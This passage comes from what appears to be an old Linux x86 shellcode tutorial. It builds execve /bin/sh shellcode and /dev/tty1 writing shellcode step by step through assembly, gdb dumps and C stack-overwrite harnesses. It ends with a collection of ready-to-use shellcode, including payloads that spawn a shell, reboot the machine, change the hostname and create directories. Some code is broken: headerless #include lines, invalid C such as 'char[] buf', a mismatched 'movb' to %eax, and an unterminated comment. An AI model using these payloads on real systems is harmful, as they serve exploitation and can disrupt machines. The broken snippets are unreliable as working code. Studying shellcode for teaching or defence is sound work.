first; now it is the last, so ESP, which is pointing to our string,
will be placed into EBX:

movl %esp, %ebx

We then need to set up our second argument, which was our string
and a NULL and then place it into it's respective register:

pushl %edx
pushl %ebx
movl %esp, %ecx

Once that is complete, we can now place the system call for
execve, 0xb, into EAX, then go into kernel mode:

movb $0xb, %al
int $0x80

Lastly, we must end our program with exit(0):

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80

Now that we have that, let's put the pieces together and construct
our assembly code. The null bytes have already been removed:
shspawn.s
------------------------------------------------------------------------
.section .text
.global main

main:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
movl $0xb, %eax
int $0x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------

Let us now assemble and extract the opcodes:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o shspawn shspawn.s
eric@debian:~/shellcode$ gdb shspawn
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483c0
: xor %eax,%eax
0x80483c2 : xor %ebx,%ebx

0x80483c4 : xor %ecx,%ecx
0x80483c6 : xor %edx,%edx
0x80483c8 : push %edx
0x80483c9 : push $0x68732f2f
0x80483ce : push $0x6e69622f
0x80483d3 : mov %esp,%ebx
0x80483d5 : push %edx
0x80483d6 : push %ebx
0x80483d7 : mov %esp,%ecx
0x80483d9 : mov $0xb,%al
0x80483db : int $0x80
0x80483dd : xor %ebx,%ebx
0x80483df : mov %ebx,%eax
0x80483e1 : inc %eax
0x80483e2 : int $0x80
0x80483e4 : nop
0x80483e5 : nop
0x80483e6 : nop
---Type to continue, or q to quit---
0x80483e7 : nop
0x80483e8 : nop
0x80483e9 : nop
0x80483ea : nop
0x80483eb : nop
0x80483ec : nop
0x80483ed : nop
0x80483ee : nop
0x80483ef : nop
End of assembler dump.
(gdb) x/36b main
0x80483c0
: 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2
0x80483c8 : 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f
0x80483d0 : 0x62 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89
0x80483d8 : 0xe1 0xb0 0x0b 0xcd 0x80 0x31 0xdb 0x89
0x80483e0 : 0xd8 0x40 0xcd 0x80
------------------------------------------------------------------------

When we extract the opcodes, we get our shellcode:

shspawn.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;

(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

When we compile and run it, it should spawn sh:

------------------------------------------------------------------------
eric@debian:~$ cd shellcode
eric@debian:~/shellcode$ gcc -o shspawn shspawn.c
eric@debian:~/shellcode$ ./shspawn
sh-2.05a$ exit
exit
------------------------------------------------------------------------

Some variants of the above code exist; http://uc.zemos.net/sc/UCexecve.c

========================================================================
For our third example, we will write the message "Hello World!" to
/dev/tty1. Let's first check out the system calls we need to use:

int sys_open(const char * filename, int flags, int mode)
-&-
ssize_t sys_write(unsigned int fd, const char * buf, size_t count)

One aspect of open is crucial in designing our shellcode; open()
returns the file descriptor(fd). Writing the C code comes first:

vt.c
------------------------------------------------------------------------
#include
#include
#include
#include
int main()
{
int fd = open("/dev/tty1", O_RDWR);
char[] buf = "Hello World!";
int len = strlen(buf);
write(fd, buf, len);
return 0;
}
------------------------------------------------------------------------

After compiling the above code, you should login as root, chvt to
tty1(chvt 1) and try running the program:

------------------------------------------------------------------------
debian:/home/eric/shellcode# gcc -o vt vt.c
debian:/home/eric/shellcode# ./vt

Hello World!
debian:/home/eric/shellcode#
------------------------------------------------------------------------

The code did in fact did work. We now need to write the assembly code.
Let's start off with examining the disassembled code using gdb:

------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb vt
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048450
: push %ebp
0x8048451 : mov %esp,%ebp
0x8048453 : sub $0x28,%esp
0x8048456 : add $0xfffffff8,%esp
0x8048459 : push $0x2
0x804845b : push $0x80485e4
0x8048460 : call 0x8048358
0x8048465 : add $0x10,%esp
0x8048468 : mov %eax,%eax
0x804846a : mov %eax,0xfffffffc(%ebp)
0x804846d : lea 0xffffffec(%ebp),%edx
0x8048470 : mov $0x80485ee,%eax
0x8048475 : mov (%eax),%edx
0x8048477 : mov %edx,0xffffffec(%ebp)
0x804847a : mov 0x4(%eax),%edx
0x804847d : mov %edx,0xfffffff0(%ebp)
0x8048480 : mov 0x8(%eax),%edx
0x8048483 : mov %edx,0xfffffff4(%ebp)
0x8048486 : movzwl 0xc(%eax),%eax
0x804848a : mov %ax,0xfffffff8(%ebp)
0x804848e : add $0xfffffff4,%esp
0x8048491 : lea 0xffffffec(%ebp),%eax
---Type to continue, or q to quit---
0x8048494 : push %eax
0x8048495 : call 0x8048338
0x804849a : add $0x10,%esp
0x804849d : mov %eax,0xffffffe8(%ebp)
0x80484a0 : add $0xfffffffc,%esp
0x80484a3 : mov 0xffffffe8(%ebp),%eax
0x80484a6 : push %eax
0x80484a7 : lea 0xffffffec(%ebp),%eax
0x80484aa : push %eax
0x80484ab : mov 0xfffffffc(%ebp),%eax
0x80484ae : push %eax
0x80484af : call 0x8048318

0x80484b4 : add $0x10,%esp
0x80484b7 : xor %eax,%eax
0x80484b9 : jmp 0x80484c0
0x80484bb : nop
0x80484bc : lea 0x0(%esi,1),%esi
0x80484c0 : leave
0x80484c1 : ret
0x80484c2 : lea 0x0(%esi,1),%esi
0x80484c9 : lea 0x0(%edi,1),%edi
End of assembler dump.
------------------------------------------------------------------------

Let us focus on the two lines before the call to open(). It says
push 0x2 and push $0x80485e4. The first push is placing "O_RDWR" onto
the stack. The second push is placing the memory address where our
string "/dev/tty1" onto the stack.
When we write our own code, we first need to push a null byte in
order to terminate the string:

xorl %eax, %eax
pushl %eax

Then we need to push our string "/dev/tty1" onto the stack. The
last two bytes MUST be pushed seperately. If they are pushed as
"0x3179", then the assembler will automatically fill the last two bytes
with 0's:
pushl $0x31
pushl $0x79
pushl $0x74742f2f
pushl $0x7665642f

Now that we have our string on the stack, we need to set up the
arguments for the open syscall. First we move 0_RDWR(0x2) into CL and
then we move the pointer to our string, which is ESP, to EBX. After
that, we place the system call number into AL and jump into kernel mode:

movb $0x2, %cl
movl %esp, %ebx
movb $0x5, %eax
int $0x80

The return value for open() is the file descriptor for /dev/tty1.
A function always places the return value into EAX. Since the fd is
the first argument for write(), we'll place it into EBX. We need to do
this first because we need to now set up our string, "Hello World!" by
Exclusive ORing EAX with itself:

movl %eax, %ebx
xorl %eax, %eax
pushl %eax

After that is complete, we need to push the rest of our "Hello World!"
string onto the stack:

pushl $0x0a
pushl $0x21646c72
pushl $0x6f57206f
pushl $0x6c6c6548

Now to set up the last two arguments for write(), place the system
call number into EAX, and jump into kernel mode:

movb $0xd, %dl
movl %esp, %ecx
movb $0x4, %al
int $0x80

Finally, end the program with exit(0):

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80

But before we write our completed assembly code, we need to do one
last thing. Because we are sometimes using 8-bit registers, the top 24
bits may be filled with other data that may cause our program to
execute in an undesirable way. To fix this, we need to zero out all of
the registers at the beginning. EAX has already been 0'd out:

xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx

All together, the code should look like this:
vt.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx
xorl %eax, %eax
pushl %eax
pushl $0x31
pushl $0x79
pushl $0x74742f2f
pushl $0x7665642f
movb $0x2, %cl
movl %esp, %ebx
movb $0x5, %al

int $0x80
movl %eax, %ebx
xorl %eax, %eax
pushl %eax
pushl $0x0a
pushl $0x21646c72
pushl $0x6f57206f
pushl $0x6c6c6548
movb $0xd, %dl
movl %esp, %ecx
movb $0x4, %al
int $0x80

xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------

After assembling your code, you can then fetch the opcodes using
gdb. Your the shellcode below is the complete shellcode in order to
write "Hello World!" to /dev/tty1.

vt.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
printf("Size in bytes: %d", sizeof(shellcode) - 1);
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

The original of the vt code* can be found at
http://uc.zemos.net/sc These shellcodes and more can be found below.
The idea for the vt shellcode was conspired by mikecc of Zemos after viewing my
own original shellcode. Because of mikecc's superior coding abilities, he
managed to code the first vt shellcode while I completed mine hours later.

hostname.c
------------------------------------------------------------------------
/* author: the_swede
* title: hostname
* description: sets hostname to "1337".
*/

#include
/*
* xorl %eax, %eax
* pushl %edx
* pushl $0x37333331
* movb $0x04, %cl
* movl %esp, %ebx
* movb $0x4a, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/

char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\xb1\x04\x89\xe3\xb0\x4a\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

------------------------------------------------------------------------

mkdir.c
------------------------------------------------------------------------
/* author: the_swede
* title: mkdir
* description: creates a directory titled "1337".
*/
#include
/*
* xorl %eax, %eax
* pushl %eax
* pushl $0x37333331
*
* movw $0x1ed, %cx
* movl %esp, %ebx
* movb $0x27, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

reboot.c
------------------------------------------------------------------------
/*
* Author: the_swede
* Title: reboot
* Date: 6/8/03
* Description: reboots Linux.
*/
#include
/*
* pushl $0xfee1dead
* popl %ebx
* pushl $0x16041998
* popl %ecx
* pushl $0x1234567
* xorl %eax, %eax
* popl %edx
* movb $0x58, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x68\xad\xde\xe1\xfe\x5b\x68\x98"
"\x19\x04\x16\x59\x68\x67\x45\x23"
"\x01\x31\xc0\x5a\xb0\x58\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}------------------------------------------------------------------------

shspawn.c
------------------------------------------------------------------------
/*
* Title: shspawn
* Author: the_swede
* Date: 6/8/03
* Description: shellcode that spawns /bin/sh.
*/
#include
/*
* xorl %edx, %edx
* pushl %edx
* pushl $0x68732f2f
* pushl $0x6e69622f
*
* movl %esp, %ebx
* pushl %edx
* pushl %ebx
* movl %esp, %ecx
* movb $0xb, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

vt.c
------------------------------------------------------------------------
/* author: the_swede
* title: vt
* description: writes "Hello World!" to /dev/tty1.
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
* xorl %ebx, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x31
* pushl $0x79
* pushl $0x74742f2f
* pushl $0x7665642f
*
* movb $0x2, %cl
* movl %esp, %ebx
* movb $0x5, %al
* int $0x80
*
* movl %eax, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x0a
* pushl $0x21646c72
* pushl $0x6f57206f
* pushl $0x6c6c6548
*
* movb $0xd, %dl
* movl %esp, %ecx
* movb $0x4, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";

int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------

write.c
------------------------------------------------------------------------
/* author: the_swede
* title: write
* description: writes "Hello World!"
*/
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x0a
* pushl $0x21646c72
* pushl $0x6f57206f
* pushl $0x6c6c6548
*
* movb $0xd, %dl
* movl %esp, %ecx
* xorl %ebx, %ebx
* movb $0x4, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xc0\x50\x6a"
"\x0a\x68\x72\x6c\x64\x21\x68\x6f"
"\x20\x57\x6f\x68\x48\x65\x6c\x6c"
"\xb2\x0d\x89\xe1\x31\xdb\xb0\x04"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
 

Original material is (c) 2002 Fromadia.com. Material from elsewhere is (c) 2002 by it's respective author.
Reseller Hosting | Cpanel Hosting